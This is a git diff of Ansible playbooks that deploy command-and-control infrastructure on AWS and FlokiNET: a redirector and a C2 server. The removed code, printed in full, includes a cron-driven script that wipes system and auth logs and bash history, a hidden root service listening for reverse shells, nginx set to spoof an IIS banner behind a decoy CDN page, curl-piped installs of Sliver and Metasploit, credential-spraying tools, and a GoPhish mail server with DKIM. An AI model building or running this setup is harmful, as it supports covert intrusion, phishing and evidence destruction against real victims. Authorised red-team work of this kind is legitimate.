+ amazon.aws.ec2_group:
+ name: "{{ redirector_name }}-sg"
+ state: absent
+ region: "{{ aws_region }}"
+ aws_access_key: "{{ aws_access_key }}"
+ aws_secret_key: "{{ aws_secret_key }}"
+ ignore_errors: yes
+ when: cleanup_redirector and redirector_name is defined and redirector_name != ""
+
+ - name: Delete C2 security group
+ amazon.aws.ec2_group:
+ name: "{{ c2_name }}-sg"
+ state: absent
+ region: "{{ aws_region }}"
+ aws_access_key: "{{ aws_access_key }}"
+ aws_secret_key: "{{ aws_secret_key }}"
+ ignore_errors: yes
+ when: cleanup_c2 and c2_name is defined and c2_name != ""
+
+ - name: Delete redirector key pair
+ amazon.aws.ec2_key:
+ name: "{{ redirector_name }}"
+ state: absent
+ region: "{{ aws_region }}"
+ aws_access_key: "{{ aws_access_key }}"
+ aws_secret_key: "{{ aws_secret_key }}"
+ when: cleanup_redirector and redirector_name is defined and redirector_name != ""
+
+ - name: Delete C2 key pair
+ amazon.aws.ec2_key:
+ name: "{{ c2_name }}"
+ state: absent
+ region: "{{ aws_region }}"
+ aws_access_key: "{{ aws_access_key }}"
+ aws_secret_key: "{{ aws_secret_key }}"
+ when: cleanup_c2 and c2_name is defined and c2_name != ""
+
+ - name: Remove redirector SSH key file
+ file:
+ path: "~/.ssh/{{ redirector_name }}.pem"
+ state: absent
+ when: cleanup_redirector and redirector_name is defined and redirector_name != ""
+
+ - name: Remove C2 SSH key file
+ file:
+ path: "~/.ssh/{{ c2_name }}.pem"
+ state: absent
+ when: cleanup_c2 and c2_name is defined and c2_name != ""
+
+ - name: Cleanup complete message
+ debug:
+ msg:
+ - "AWS infrastructure cleanup complete!"
+ - "Resources that were cleaned up:"
+ - "{{ cleanup_redirector | ternary('- Redirector instance: ' + redirector_name, '') }}"
+ - "{{ cleanup_c2 | ternary('- C2 instance: ' + c2_name, '') }}"
\ No newline at end of file
diff --git a/AWS/redirector.yml b/AWS/redirector.yml
index 365adb4..7fe0e87 100644
--- a/AWS/redirector.yml
+++ b/AWS/redirector.yml
@@ -1,476 +1,138 @@
---
-- name: Deploy AWS redirector server
+# AWS Redirector-only Deployment Playbook
+
+- name: Deploy AWS redirector
hosts: localhost
gather_facts: false
connection: local
+ vars_files:
+ - vars.yaml
vars:
- region: "{{ aws_region | default('us-east-1') }}"
- instance_type: "{{ size | default('t2.medium') }}"
- instance_name: "{{ redirector_name | default('redirector') }}"
- domain: "{{ domain | default('example.com') }}"
- redirector_subdomain: "cdn"
+ # Default values for required variables
+ ssh_user: "{{ ssh_user | default('kali') }}"
+ aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
+ instance_type: "{{ aws_instance_type | default('t2.micro') }}"
+
+ # Generate random instance name if not provided
+ redirector_name: "{{ redirector_name | default('srv-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
+
+ # Generate random shell handler port if not provided
+ shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}"
tasks:
- - name: Set a random AWS region if not specified
- set_fact:
- selected_aws_region: "{{ aws_region_choices | random }}"
- when: aws_region is not defined
-
- - name: Create an EC2 key pair
+ - name: Validate required AWS credentials
+ assert:
+ that:
+ - aws_access_key is defined and aws_access_key != ""
+ - aws_secret_key is defined and aws_secret_key != ""
+ fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key."
+
+ - name: Create EC2 key pair for redirector
amazon.aws.ec2_key:
- name: "{{ instance_name }}"
- region: "{{ region }}"
+ access_key: "{{ aws_access_key }}"
+ secret_key: "{{ aws_secret_key }}"
+ name: "{{ redirector_name }}"
+ region: "{{ aws_region }}"
state: present
- register: key_pair
+ register: redirector_key_pair
- name: Save private key locally
copy:
- content: "{{ key_pair.key.private_key }}"
- dest: "~/.ssh/{{ instance_name }}.pem"
+ content: "{{ redirector_key_pair.key.private_key }}"
+ dest: "~/.ssh/{{ redirector_name }}.pem"
mode: "0600"
- when: key_pair.changed
+ when: redirector_key_pair.changed and redirector_key_pair.key.private_key is defined
- - name: Create security group for redirector
+ - name: Create a security group for the redirector
amazon.aws.ec2_group:
- name: "{{ instance_name }}-sg"
- description: "Security group for redirector"
- region: "{{ region }}"
+ access_key: "{{ aws_access_key }}"
+ secret_key: "{{ aws_secret_key }}"
+ name: "{{ redirector_name }}-sg"
+ description: "Security group for redirector {{ redirector_name }}"
+ region: "{{ aws_region }}"
rules:
- proto: tcp
- ports:
+ ports:
- 22
- 80
- 443
- - 4444 # Shell handler port
+ - "{{ shell_handler_port }}"
cidr_ip: 0.0.0.0/0
rules_egress:
- proto: -1
cidr_ip: 0.0.0.0/0
- register: redirector_sg
+ register: redirector_sg_result
- name: Launch redirector EC2 instance
amazon.aws.ec2_instance:
- name: "{{ instance_name }}"
- region: "{{ region }}"
- image_id: "{{ ami_map[region] }}"
+ access_key: "{{ aws_access_key }}"
+ secret_key: "{{ aws_secret_key }}"
+ region: "{{ aws_region }}"
+ name: "{{ redirector_name }}"
+ image_id: "{{ ami_map[aws_region] }}"
instance_type: "{{ instance_type }}"
- key_name: "{{ instance_name }}"
- security_group: "{{ redirector_sg.group_id }}"
- network:
- assign_public_ip: true
- tags:
- Name: "{{ instance_name }}"
- Role: "redirector"
+ key_name: "{{ redirector_name }}"
+ security_groups:
+ - "{{ redirector_name }}-sg"
wait: yes
+ tags:
+ Name: "{{ redirector_name }}"
+ Role: "redirector"
register: redirector_instance
- - name: Save redirector IP
+ - name: Set redirector_ip for later use
set_fact:
redirector_ip: "{{ redirector_instance.instances[0].public_ip_address }}"
+ redirector_instance_id: "{{ redirector_instance.instances[0].instance_id }}"
- - name: Wait for SSH to become available
+ - name: Wait for redirector SSH to be available
wait_for:
host: "{{ redirector_ip }}"
port: 22
- delay: 10
+ delay: 30
timeout: 300
state: started
- name: Add redirector to inventory
add_host:
- name: redirector
+ name: "redirector"
+ groups: "redirectors"
ansible_host: "{{ redirector_ip }}"
- ansible_user: "{{ ssh_user | default('kali') }}"
- ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem"
- groups: redirectors
+ ansible_user: "{{ ssh_user }}"
+ ansible_ssh_private_key_file: "~/.ssh/{{ redirector_name }}.pem"
+ ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
-- name: Configure redirector
+- name: Configure redirector server
hosts: redirectors
become: true
+ gather_facts: true
+ vars_files:
+ - vars.yaml
vars:
- domain: "{{ domain | default('example.com') }}"
- redirector_subdomain: "cdn"
- letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
- zero_logs: "{{ zero_logs | default(true) }}"
- shell_handler_port: 4444
- c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}"
-
+ c2_ip: "{{ c2_ip | default('127.0.0.1') }}"
+ redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
tasks:
- - name: Update apt cache
+ - name: Wait for apt to be available
apt:
update_cache: yes
+ register: apt_result
+ until: apt_result is success
+ retries: 5
+ delay: 10
+
+ - name: Include common redirector configuration tasks
+ include_tasks: "../tasks/configure_redirector.yml"
+
+ - name: Include common security hardening tasks
+ include_tasks: "../tasks/security_hardening.yml"
- - name: Install required packages
- apt:
- name:
- - nginx
- - certbot
- - python3-certbot-nginx
- - socat
- - netcat-openbsd
- - cryptsetup
- - secure-delete
- state: present
-
- - name: Create directories for OPSEC scripts
- file:
- path: "{{ item }}"
- state: directory
- mode: '0700'
- owner: root
- group: root
- with_items:
- - /opt/c2
- - /opt/shell-handler
-
- - name: Create clean-logs.sh script
- copy:
- content: |
- #!/bin/bash
- # Zero-logs maintenance script
- umask 077
-
- # Disable syslog temporarily
- systemctl stop rsyslog 2>/dev/null
- systemctl stop systemd-journald 2>/dev/null
-
- # Clear system logs
- find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
- find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
- find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
- journalctl --vacuum-time=1s 2>/dev/null
-
- # Clear bash history
- for histfile in /root/.bash_history /home/*/.bash_history; do
- [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
- done
- history -c
-
- # Clear NGINX logs
- for nginx_log in /var/log/nginx/*; do
- [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
- done
-
- # Clear temporary directories
- rm -rf /tmp/* /var/tmp/* 2>/dev/null
-
- # Restart logging services
- systemctl start systemd-journald 2>/dev/null
- systemctl start rsyslog 2>/dev/null
-
- echo "[+] Log cleaning complete"
- exit 0
- dest: /opt/c2/clean-logs.sh
- mode: '0700'
- owner: root
- group: root
-
- - name: Create shell handler script
- copy:
- content: |
- #!/bin/bash
- # Automated shell handler for catching and upgrading reverse shells
-
- # Configuration
- LISTEN_PORT={{ shell_handler_port }}
- C2_HOST="{{ c2_ip }}"
-
- # Set secure permissions
- umask 077
-
- # Logging function
- log() {
- local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
- local message="$1"
- echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc
- }
-
- # Detect OS function
- detect_os() {
- local connection=$1
-
- # Send commands to determine OS
- echo "echo \$OSTYPE" > $connection
- sleep 1
- ostype=$(cat $connection | grep -i "linux\|darwin\|win")
-
- if [[ $ostype == *"win"* ]]; then
- echo "windows"
- elif [[ $ostype == *"darwin"* ]]; then
- echo "macos"
- elif [[ $ostype == *"linux"* ]]; then
- echo "linux"
- else
- # Try Windows-specific command
- echo "ver" > $connection
- sleep 1
- winver=$(cat $connection | grep -i "microsoft windows")
-
- if [[ -n "$winver" ]]; then
- echo "windows"
- else
- # Default to Linux if we can't determine
- echo "linux"
- fi
- fi
- }
-
- # Main shell handler loop
- handle_connections() {
- log "Shell handler started on port $LISTEN_PORT"
-
- # Use mkfifo for bidirectional communication
- PIPE_PATH="/tmp/shell_handler_pipe"
- trap 'rm -f $PIPE_PATH' EXIT
-
- while true; do
- # Clean up existing pipe
- rm -f $PIPE_PATH
- mkfifo $PIPE_PATH
-
- log "Waiting for incoming connection..."
- nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
- NC_PID=$!
-
- # Wait for connection
- wait $NC_PID
- log "Connection closed, restarting listener..."
- rm -f $PIPE_PATH.output
- done
- }
-
- # Start the shell handler
- handle_connections
- dest: /opt/shell-handler/persistent-listener.sh
- mode: '0700'
- owner: root
- group: root
-
- - name: Create shell handler service
- copy:
- content: |
- [Unit]
- Description=Reverse Shell Handler Service
- After=network.target
-
- [Service]
- Type=simple
- User=root
- Group=root
- ExecStart=/opt/shell-handler/persistent-listener.sh
- Restart=always
- RestartSec=10
-
- # Hide process information
- PrivateTmp=true
- ProtectSystem=full
- NoNewPrivileges=true
-
- # Make shell handler hard to find
- StandardOutput=null
- StandardError=null
-
- # Environment variables
- Environment="C2_HOST={{ c2_ip }}"
- Environment="LISTEN_PORT={{ shell_handler_port }}"
-
- [Install]
- WantedBy=multi-user.target
- dest: /etc/systemd/system/shell-handler.service
- mode: '0644'
- owner: root
- group: root
-
- - name: Configure NGINX for zero-logging
- copy:
- content: |
- user www-data;
- worker_processes auto;
- pid /run/nginx.pid;
- include /etc/nginx/modules-enabled/*.conf;
-
- events {
- worker_connections 1024;
- multi_accept on;
- }
-
- http {
- # Basic Settings
- sendfile on;
- tcp_nopush on;
- tcp_nodelay on;
- keepalive_timeout 65;
- types_hash_max_size 2048;
- server_tokens off;
-
- # MIME
- include /etc/nginx/mime.types;
- default_type application/octet-stream;
-
- # Zero-logs configuration
- access_log off;
- error_log /dev/null crit;
-
- # SSL Settings
- ssl_protocols TLSv1.2 TLSv1.3;
- ssl_prefer_server_ciphers on;
- ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
-
- # Headers to confuse fingerprinting
- more_set_headers 'Server: Microsoft-IIS/8.5';
-
- # Virtual Host Configs
- include /etc/nginx/conf.d/*.conf;
- include /etc/nginx/sites-enabled/*;
- }
- dest: /etc/nginx/nginx.conf
- mode: '0644'
- owner: root
- group: root
- when: zero_logs|bool
-
- - name: Configure NGINX default site for C2 redirection
- copy:
- content: |
- server {
- listen 80;
- listen [::]:80;
- server_name {{ redirector_subdomain }}.{{ domain }};
-
- # Redirect to HTTPS
- return 301 https://$host$request_uri;
- }
-
- server {
- listen 443 ssl;
- listen [::]:443 ssl;
- server_name {{ redirector_subdomain }}.{{ domain }};
-
- # SSL Configuration (self-signed until Let's Encrypt is set up)
- ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
- ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
-
- # Root directory
- root /var/www/html;
- index index.html;
-
- # Special URI patterns for C2 traffic
- location /ajax/ {
- proxy_pass http://{{ c2_ip }}:8888;
- proxy_http_version 1.1;
- proxy_set_header Host $host;
- proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
- proxy_set_header X-Real-IP $remote_addr;
- proxy_set_header Upgrade $http_upgrade;
- proxy_set_header Connection "upgrade";
- }
-
- # Default location
- location / {
- try_files $uri $uri/ =404;
- }
-
- # Disable logging for this server block
- access_log off;
- error_log /dev/null crit;
- }
-
- # Catch-all server block
- server {
- listen 80 default_server;
- listen [::]:80 default_server;
-
- # Redirect all unknown traffic to a legitimate-looking site
- return 301 https://www.google.com;
-
- # Disable logs
- access_log off;
- error_log /dev/null crit;
- }
- dest: /etc/nginx/sites-available/default
- mode: '0644'
- owner: root
- group: root
-
- - name: Create legitimate-looking index.html
- copy:
- content: |
-
-
-
-
-
- {{ redirector_subdomain }} - Content Delivery Network
-
-
-
-
-
-
-
-
Welcome to Our CDN
-
This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.
-
This is a private service. Unauthorized access is prohibited.
-
-
-
-
- dest: /var/www/html/index.html
- mode: '0644'
- owner: www-data
- group: www-data
-
- - name: Start and enable shell handler service
- systemd:
- name: shell-handler
- state: started
- enabled: yes
- daemon_reload: yes
-
- - name: Set up cron job for log cleaning
- cron:
- name: "Clean logs"
- minute: "0"
- hour: "*/6"
- job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
- when: zero_logs|bool
-
- - name: Install Let's Encrypt certificate if domain specified
- shell: |
- certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
- args:
- creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
- when: domain != "example.com"
-
- - name: Restart NGINX
- systemd:
- name: nginx
- state: restarted
\ No newline at end of file
+ - name: Print deployment summary
+ debug:
+ msg:
+ - "Redirector Deployment Complete!"
+ - "-------------------------------"
+ - "Redirector IP: {{ ansible_host }}"
+ - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)"
+ - "Shell Handler Port: {{ shell_handler_port }}"
+ - "SSH Key: ~/.ssh/{{ redirector_name }}.pem"
+ when: not disable_summary | default(false)
\ No newline at end of file
diff --git a/FlokiNET/c2.yml b/FlokiNET/c2.yml
index c29c4ce..26ad55f 100644
--- a/FlokiNET/c2.yml
+++ b/FlokiNET/c2.yml
@@ -1,410 +1,101 @@
---
-- name: Configure FlokiNET C2 server
- hosts: c2
+# FlokiNET C2-only Configuration Playbook
+# Note: FlokiNET requires pre-provisioned servers
+
+- name: Prepare FlokiNET C2 configuration
+ hosts: localhost
+ gather_facts: false
+ connection: local
+ vars_files:
+ - vars.yaml
+ vars:
+ c2_subdomain: "{{ c2_subdomain | default('mail') }}"
+
+ tasks:
+ - name: Validate required FlokiNET configuration
+ assert:
+ that:
+ - c2_ip is defined and c2_ip != ""
+ fail_msg: "FlokiNET requires C2 IP address. Set c2_ip in vars.yaml or via --flokinet-c2-ip."
+
+ - name: Add C2 to inventory
+ add_host:
+ name: "c2"
+ groups: "c2servers"
+ ansible_host: "{{ c2_ip }}"
+ ansible_user: "{{ ssh_user | default('root') }}"
+ ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
+ ansible_ssh_port: "{{ ssh_port | default(22) }}"
+ ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
+
+ - name: Verify SSH connection to C2
+ wait_for:
+ host: "{{ c2_ip }}"
+ port: "{{ ssh_port | default(22) }}"
+ delay: 10
+ timeout: 60
+ state: started
+ ignore_errors: true
+
+- name: Provision FlokiNET C2 server
+ hosts: c2servers
+ become: true
gather_facts: true
vars_files:
- vars.yaml
tasks:
- - name: Install C2 framework and required packages
- ansible.builtin.apt:
+ - name: Wait for apt to be available
+ apt:
+ update_cache: yes
+ register: apt_result
+ until: apt_result is success
+ retries: 5
+ delay: 10
+
+ - name: Set hostname
+ hostname:
+ name: "c2"
+
+ - name: Update apt cache
+ apt:
+ update_cache: yes
+
+ - name: Upgrade all packages
+ apt:
+ upgrade: dist
+
+ - name: Install base security packages
+ apt:
name:
+ - apt-transport-https
+ - ca-certificates
- curl
- - wget
- - git
- - python3-pip
- - python3-virtualenv
- - tmux
- - nmap
- - tcpdump
- - hydra
- - john
- - hashcat
- - sqlmap
- - gobuster
- - dirb
- - enum4linux
- - dnsenum
- - seclists
- - responder
- - golang
- - proxychains
- - tor
- - jq
- - unzip
- - postfix
- - certbot
- - opendkim
- - opendkim-tools
- - dovecot-core
- - dovecot-imapd
- - dovecot-pop3d
- - dovecot-sieve
- - dovecot-managesieved
- - yq
+ - gnupg
+ - lsb-release
+ - unattended-upgrades
+ - ufw
+ - fail2ban
+ - secure-delete
state: present
- become: true
- - name: Add UFW rules for C2 server (internal only)
- ansible.builtin.ufw:
- rule: allow
- port: "{{ item.port }}"
- proto: "{{ item.proto }}"
- from_ip: "{{ redirector_ip }}"
- with_items:
- - { port: 8888, proto: tcp } # C2 HTTP listener
- - { port: 50051, proto: tcp } # Sliver gRPC
- - { port: 31337, proto: tcp } # Sliver console
- - { port: 8443, proto: tcp } # Beacon server
- become: true
+ - name: Include common security hardening tasks
+ include_tasks: "../tasks/security_hardening.yml"
- - name: Create directories for C2 operation
- ansible.builtin.file:
- path: "{{ item }}"
- state: directory
- mode: '0700'
- owner: root
- group: root
- with_items:
- - /opt/c2
- - /opt/beacons
- - /opt/payloads
- - /root/Tools
- become: true
-
- - name: Copy operational scripts for C2
- ansible.builtin.copy:
- src: "../files/{{ item }}"
- dest: "/opt/c2/{{ item }}"
- mode: '0700'
- owner: root
- group: root
- with_items:
- - clean-logs.sh
- - secure-exit.sh
- - serve-beacons.sh
- become: true
-
- # Tool Installation
- - name: Ensure pipx path is configured
- ansible.builtin.shell: |
- pipx ensurepath
- become: true
- args:
- executable: /bin/bash
-
- - name: Install tools via pipx
- ansible.builtin.shell: |
- export PATH=$PATH:/root/.local/bin
- pipx ensurepath
- pipx install git+https://github.com/Pennyw0rth/NetExec
- pipx install git+https://github.com/blacklanternsecurity/TREVORspray
- pipx install impacket
- become: true
- args:
- executable: /bin/bash
-
- - name: Download Kerbrute
- ansible.builtin.shell: |
- mkdir -p /root/Tools/Kerbrute
- wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /root/Tools/Kerbrute/kerbrute
- chmod +x /root/Tools/Kerbrute/kerbrute
- become: true
- args:
- executable: /bin/bash
-
- - name: Clone SharpCollection nightly builds
- ansible.builtin.git:
- repo: https://github.com/Flangvik/SharpCollection.git
- dest: /root/Tools/SharpCollection
- version: master
- become: true
-
- - name: Clone PEASS-ng
- ansible.builtin.git:
- repo: https://github.com/carlospolop/PEASS-ng.git
- dest: /root/Tools/PEASS-ng
- become: true
-
- - name: Clone MailSniper
- ansible.builtin.git:
- repo: https://github.com/dafthack/MailSniper.git
- dest: /root/Tools/MailSniper
- become: true
-
- - name: Clone Inveigh
- ansible.builtin.git:
- repo: https://github.com/Kevin-Robertson/Inveigh.git
- dest: /root/Tools/Inveigh
- become: true
-
- # C2 Framework Installation
- - name: Install Sliver C2 framework
- ansible.builtin.shell: |
- curl https://sliver.sh/install | bash
- args:
- creates: /usr/local/bin/sliver-server
- become: true
-
- - name: Configure Sliver service
- ansible.builtin.template:
- src: templates/sliver-server.service.j2
- dest: /etc/systemd/system/sliver.service
- owner: root
- group: root
- mode: '0644'
- become: true
-
- - name: Start and enable Sliver service
- ansible.builtin.systemd:
- name: sliver
- state: started
- enabled: yes
- daemon_reload: yes
- become: true
-
- - name: Install Metasploit Framework
- ansible.builtin.shell: |
- curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /tmp/msfinstall
- chmod 755 /tmp/msfinstall
- /tmp/msfinstall
- rm /tmp/msfinstall
- args:
- creates: /opt/metasploit-framework/bin/msfconsole
- become: true
-
- # GoPhish Installation
- - name: Grab GoPhish
- ansible.builtin.shell: |
- curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -O /root/Tools/gophish.zip
- unzip /root/Tools/gophish.zip -d /root/Tools/gophish
- rm -rf /root/Tools/gophish.zip
- chmod +x /root/Tools/gophish/gophish
- become: true
- args:
- executable: /bin/bash
- creates: /root/Tools/gophish/gophish
-
- - name: Deploy Gophish config.json with custom admin port
- ansible.builtin.template:
- src: templates/gophish-config.j2
- dest: /root/Tools/gophish/config.json
- owner: root
- group: root
- mode: '0644'
- become: true
- vars:
- gophish_admin_port: "{{ gophish_admin_port }}"
- domain: "{{ domain }}"
-
- # Mail Server Configuration
- - name: Configure Postfix main.cf
- ansible.builtin.lineinfile:
- path: /etc/postfix/main.cf
- regexp: "{{ item.regexp }}"
- line: "{{ item.line }}"
- with_items:
- - { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
- - { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
- - { regexp: '^myorigin', line: "myorigin = $mydomain" }
- - { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
- - { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
- - { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
- - { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
- - { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
- - { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
- - { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
- - { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
- - { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
- - { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
- - { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
- - { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
- - { regexp: '^milter_default_action', line: "milter_default_action = accept" }
- - { regexp: '^milter_protocol', line: "milter_protocol = 6" }
- - { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
- - { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
- become: true
-
- - name: Configure OpenDKIM
- ansible.builtin.lineinfile:
- path: /etc/opendkim.conf
- regexp: "{{ item.regexp }}"
- line: "{{ item.line }}"
- with_items:
- - { regexp: '^Domain', line: "Domain {{ domain }}" }
- - { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
- - { regexp: '^Selector', line: "Selector mail" }
- - { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
- - { regexp: '^Syslog', line: "Syslog yes" }
- - { regexp: '^UMask', line: "UMask 002" }
- - { regexp: '^Mode', line: "Mode sv" }
- become: true
-
- - name: Create DKIM directory
- ansible.builtin.file:
- path: /etc/opendkim/keys/{{ domain }}
- state: directory
- owner: opendkim
- group: opendkim
- mode: 0700
- become: true
-
- - name: Generate DKIM keys
- ansible.builtin.command: >
- opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
- args:
- creates: /etc/opendkim/keys/{{ domain }}/mail.private
- become: true
-
- - name: Set permissions for DKIM keys
- ansible.builtin.file:
- path: /etc/opendkim/keys/{{ domain }}/mail.private
- owner: opendkim
- group: opendkim
- mode: 0600
- become: true
-
- - name: Configure OpenDKIM TrustedHosts
- ansible.builtin.copy:
- content: |
- 127.0.0.1
- ::1
- localhost
- {{ domain }}
- dest: /etc/opendkim/TrustedHosts
- owner: opendkim
- group: opendkim
- mode: 0644
- become: true
-
- - name: Enable submission port (587) in master.cf
- ansible.builtin.blockinfile:
- path: /etc/postfix/master.cf
- insertafter: '^#submission'
- block: |
- submission inet n - y - - smtpd
- -o syslog_name=postfix/submission
- -o smtpd_tls_security_level=encrypt
- -o smtpd_sasl_auth_enable=yes
- -o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
- -o smtpd_relay_restrictions=permit_sasl_authenticated,reject
- become: true
-
- - name: Configure Dovecot for Postfix SASL
- ansible.builtin.blockinfile:
- path: /etc/dovecot/conf.d/10-master.conf
- insertafter: '^service auth {'
- block: |
- # Postfix smtp-auth
- unix_listener /var/spool/postfix/private/auth {
- mode = 0660
- user = postfix
- group = postfix
- }
- become: true
-
- - name: Set Dovecot auth_mechanisms
- ansible.builtin.lineinfile:
- path: /etc/dovecot/conf.d/10-auth.conf
- regexp: '^auth_mechanisms'
- line: 'auth_mechanisms = plain login'
- become: true
-
- - name: Create Dovecot password file for SASL authentication
- ansible.builtin.file:
- path: /etc/dovecot/passwd
- state: touch
- mode: '0600'
- owner: dovecot
- group: dovecot
- become: true
-
- - name: Add SMTP auth user to Dovecot
- ansible.builtin.lineinfile:
- path: /etc/dovecot/passwd
- line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
- become: true
-
- - name: Disable system auth and use passwd-file
- ansible.builtin.lineinfile:
- path: /etc/dovecot/conf.d/10-auth.conf
- regexp: '^!include auth-system.conf.ext'
- line: '#!include auth-system.conf.ext'
- become: true
-
- - name: Add auth-passwdfile configuration
- ansible.builtin.blockinfile:
- path: /etc/dovecot/conf.d/10-auth.conf
- insertafter: '^auth_mechanisms ='
- block: |
- passdb {
- driver = passwd-file
- args = scheme=sha512_crypt /etc/dovecot/passwd
- }
- userdb {
- driver = static
- args = uid=vmail gid=vmail home=/var/vmail/%u
- }
- become: true
-
- - name: Create vmail group
- ansible.builtin.group:
- name: vmail
- gid: 5000
- state: present
- become: true
-
- - name: Create vmail user
- ansible.builtin.user:
- name: vmail
- uid: 5000
- group: vmail
- create_home: no
- become: true
-
- - name: Restart Postfix
- ansible.builtin.service:
- name: postfix
- state: restarted
- become: true
-
- - name: Restart Dovecot
- ansible.builtin.service:
- name: dovecot
- state: restarted
- become: true
-
- # Beacon Server Configuration
- - name: Configure beacon server
- ansible.builtin.shell: |
- sed -i "s/C2_HOST=.*$/C2_HOST=\"{{ c2_ip }}\"/g" /opt/c2/serve-beacons.sh
- chmod +x /opt/c2/serve-beacons.sh
- nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
- become: true
-
- # Set up cron job for log cleaning
- - name: Set up cron job for log cleaning
- ansible.builtin.cron:
- name: "Clean logs"
- minute: "0"
- hour: "*/6"
- job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
- become: true
- when: zero_logs|bool
-
- # Install Let's Encrypt certificate if domain specified
- - name: Install Let's Encrypt certificate
- ansible.builtin.command: >
- certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
- args:
- creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem
- become: true
- when: domain != "example.com"
-
- - name: Display C2 server setup information
- ansible.builtin.debug:
+ - name: Include common tool installation tasks
+ include_tasks: "../tasks/install_tools.yml"
+
+ - name: Include common C2 configuration tasks
+ include_tasks: "../tasks/configure_c2.yml"
+
+ - name: Include common mail server configuration tasks
+ include_tasks: "../tasks/configure_mail.yml"
+
+ - name: Print deployment summary
+ debug:
msg:
- - "C2 server setup completed!"
- - "IP Address: {{ ansible_host }}"
- - "Domain: {{ c2_subdomain }}.{{ domain }}"
- - "Sliver C2 listening on port 8888"
- - "Beacons server available at http://{{ ansible_host }}:8443/"
\ No newline at end of file
+ - "C2 Server Configuration Complete!"
+ - "-------------------------------"
+ - "C2 Server IP: {{ ansible_host }}"
+ - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)"
+ - "GoPhish Admin Port: {{ gophish_admin_port }}"
+ when: not disable_summary | default(false)
\ No newline at end of file
diff --git a/FlokiNET/cleanup.yml b/FlokiNET/cleanup.yml
new file mode 100644
index 0000000..e69de29
diff --git a/FlokiNET/redirector.yml b/FlokiNET/redirector.yml
index 8b3225d..f419f24 100644
--- a/FlokiNET/redirector.yml
+++ b/FlokiNET/redirector.yml
@@ -1,118 +1,97 @@
---
-- name: Configure FlokiNET redirector server
- hosts: redirector
+# FlokiNET Redirector-only Configuration Playbook
+# Note: FlokiNET requires pre-provisioned servers
+
+- name: Prepare FlokiNET redirector configuration
+ hosts: localhost
+ gather_facts: false
+ connection: local
+ vars_files:
+ - vars.yaml
+ vars:
